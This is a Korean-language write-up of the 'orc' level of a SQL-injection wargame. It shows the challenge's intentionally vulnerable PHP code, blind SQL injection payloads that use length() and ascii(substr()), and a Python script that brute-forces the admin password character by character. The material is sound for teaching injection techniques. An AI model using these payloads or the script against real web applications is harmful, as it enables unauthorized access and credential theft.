문제 코드

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello admin</h2>";
 
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
  highlight_file(__FILE__);
?>

이번 문제는 쿼리가 두 번 실행됩니다. 첫 번째 쿼리는 조건이 참이면 Hello admin을 보여주지만, 두 번째 쿼리는 addslashes()를 거친 뒤 실제 pw 값과 입력값이 완전히 같아야 문제를 풀어줍니다.

따라서 단순 인증 우회가 아니라 Blind SQL Injection으로 admin의 실제 비밀번호를 찾아야 합니다.

exploit

비밀번호 길이 확인

?pw=' or id='admin' and length(pw)=8%23

위 조건이 참이면 Hello admin이 출력됩니다. LoS 기준 orc의 비밀번호 길이는 8글자입니다.

비밀번호 한 글자 확인

?pw=' or id='admin' and ascii(substr(pw,1,1))=48%23

substr(pw,1,1)pw의 첫 번째 글자를 가져오고, ascii()는 해당 문자를 아스키 코드로 변환합니다. 응답에 Hello admin이 있으면 조건이 참입니다.

자동화 코드

import requests
from string import ascii_lowercase, ascii_uppercase, digits
 
URL = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
COOKIES = {"PHPSESSID": "본인 세션 값"}
 
charset = digits + ascii_lowercase + ascii_uppercase
password = ""
 
for pos in range(1, 9):
    for ch in charset:
        payload = f"' or id='admin' and ascii(substr(pw,{pos},1))={ord(ch)}#"
        res = requests.get(URL, params={"pw": payload}, cookies=COOKIES)
        if "Hello admin" in res.text:
            password += ch
            print(password)
            break
 
print(f"password: {password}")

구한 비밀번호를 그대로 입력합니다.

?pw=095a9852

배운 내용

  • 화면에 비밀번호가 직접 출력되지 않아도 참/거짓 응답을 이용해 값을 추론할 수 있습니다.
  • Blind SQL Injection은 먼저 길이를 구하고, 각 자리의 문자를 하나씩 구하는 순서로 진행하면 됩니다.
  • addslashes()가 적용되는 두 번째 쿼리는 우회하기 어렵기 때문에, 최종적으로는 실제 비밀번호를 입력해야 합니다.